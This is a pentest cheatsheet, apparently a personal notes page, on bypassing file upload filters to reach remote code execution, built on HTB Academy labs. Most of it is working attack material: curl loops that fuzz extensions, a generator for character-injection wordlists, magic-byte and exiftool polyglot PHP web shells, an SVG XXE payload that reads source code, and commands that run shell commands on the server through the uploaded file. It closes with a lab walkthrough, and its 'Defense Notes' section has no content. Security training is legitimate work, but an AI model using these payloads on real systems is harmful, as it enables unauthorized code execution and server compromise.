⬅ IndexCheatsheets

File Upload Bypass Cheatsheet

TitleFile Upload Bypass Cheatsheet
CategoryCheatsheets
DescriptionBypass-uri pentru filtre de upload: extensii, MIME, magic bytes, polyglot, race conditions — până la RCE.
Updated2026-08-24

File Upload Bypass Cheatsheet

Quick reference for bypassing file upload filters to achieve RCE — from HTB Academy
File Upload Attacks module + HTB practice. Always enumerate first, then rotate techniques.

1. Recon / Enumeration

# Find upload endpoints & form structure
curl -s http://TARGET/ | grep -iE "form|input|action|upload"
curl -s http://TARGET/script.js          # client-side validation? (bypassable)
# Upload dir hint: /profile_images/, /uploads/, /images/ — check <img src>

# Check if validation is client-side only: try a direct POST (curl -F) with any name
curl -s -F "[email protected]" http://TARGET/upload.php

Error messages reveal the filter type:
- Extension not allowedblacklist (blocked extension)
- Only images are allowedwhitelist (allowed extensions)
- Empty response / success message → uploaded ✓

2. Blacklist Bypass (blocked extension)

Fuzz the upload with extension rotations:

for ext in php php3 php4 php5 php7 phtml phar phps pht shtml asp aspx jsp; do
  echo -n "shell.$ext -> "
  curl -s -F "[email protected];filename=shell.$ext;type=image/jpeg" http://TARGET/upload.php
  echo
done

Tricks:
- Extension rotation: .php3 .php4 .php5 .php7 .phtml .phar .phps .pht — many apps block only .php
- Case: shell.PHP, shell.PhP — filters that are case-sensitive
- Double extension: shell.jpg.php — blacklists checking the last extension only
- Character injection: shell.php%00.jpg (PHP < 5.3.4 null byte), shell.php%20, shell.php:.jpg (Windows), shell.php/./jpg
- .htaccess: upload a .htaccess with AddType application/x-httpd-php .jpg → then shell.jpg runs PHP (only if .htaccess upload is allowed + AllowOverride All)
- web.config (IIS): <staticContent><mimeMap fileExtension=".php" mimeType="application/x-httpd-php"/></staticContent>

3. Whitelist Bypass (only images allowed)

# Reverse Double Extension — ends with allowed ext, contains a PHP ext:
#   shell.phtml.jpg  /  shell.phar.jpg  /  shell.php.jpg
curl -s -F "[email protected];filename=shell.phtml.jpg;type=image/jpeg" http://TARGET/upload.php

# Fuzz which extensions pass the whitelist
for ext in php phtml phar pht shtml; do
  echo -n "shell.$ext.jpg -> "
  curl -s -F "[email protected];filename=shell.$ext.jpg;type=image/jpeg" http://TARGET/upload.php
  echo
done

Why reverse double extension works: Apache config like
<FilesMatch ".+\.ph(ar|p|tml)"> SetHandler application/x-httpd-php </FilesMatch>
matches the name containing .php/.phar/.phtml (missing $ anchor) → the file executes
PHP even though it ends in .jpg (which passed the whitelist).

Character injection permutations (generate a wordlist for Burp Intruder):

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
  for ext in '.php' '.phps' '.phtml' '.phar' '.pht'; do
    echo "shell$char$ext.jpg" >> wordlist.txt
    echo "shell$ext$char.jpg" >> wordlist.txt
    echo "shell.jpg$char$ext" >> wordlist.txt
    echo "shell.jpg$ext$char" >> wordlist.txt
  done
done

4. Content Validation Bypass (magic bytes / MIME)

# MIME type spoofing (Content-Type in the request)
curl -s -F "[email protected];filename=shell.jpg;type=image/jpeg" http://TARGET/upload.php

# Magic bytes prefix — keep the extension .php, prepend image header
printf '\xff\xd8\xff\xe0\xff\x10JFIF\x00' > shell.jpg.php
cat shell.php >> shell.jpg.php     # PHP after the JPEG header
# or with GIF: printf 'GIF89a;' > shell.php; cat shell.php >> shell.gif.php

# Polyglot image shell (real image + PHP payload) — exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# then append: echo '<?php system($_GET["cmd"]); ?>' >> image.jpg

5. Execute & Verify

# Find the uploaded file path, then:
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=id"
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=cat%20/flag.txt"

# If source is echoed back (not executed) → wrong extension, try another
# If 404 → wrong upload dir or name mangling

5b. XXE via SVG upload → source disclosure (find upload dir + naming)

If the whitelist allows .svg and the app parses XML server-side, upload an SVG with XXE to READ THE APP SOURCE — revealing the upload directory + filename scheme, which unblocks RCE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">&xxe;</svg>

6. Real Example (HTB Academy — blacklist + whitelist combo)

Target had both filters: whitelist (only .jpg/.jpeg/.png) + blacklist (.php*).
Client-side JS also checked the last extension — bypassed with direct POST.

# 1. Fuzz uploads (results):
#    shell.php.jpg  -> "Extension not allowed"   (blacklist catches .php substring)
#    shell.phtml.jpg -> "File successfully uploaded" ✓
#    shell.phar.jpg  -> "File successfully uploaded" ✓
# 2. Test execution:
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=id"   # uid=33(www-data) → RCE!
curl -s "http://TARGET/profile_images/shell.phtml.jpg?cmd=cat%20/flag.txt"
# → HTB{1_wh173l157_my53lf}

Chain: whitelist (ends .jpg) ✓ → blacklist bypass (.phtml not blocked) ✓ →
Apache FilesMatch ph(ar|p|tml) without $ executes it as PHP → RCE as www-data.

7. Defense Notes (what stops this)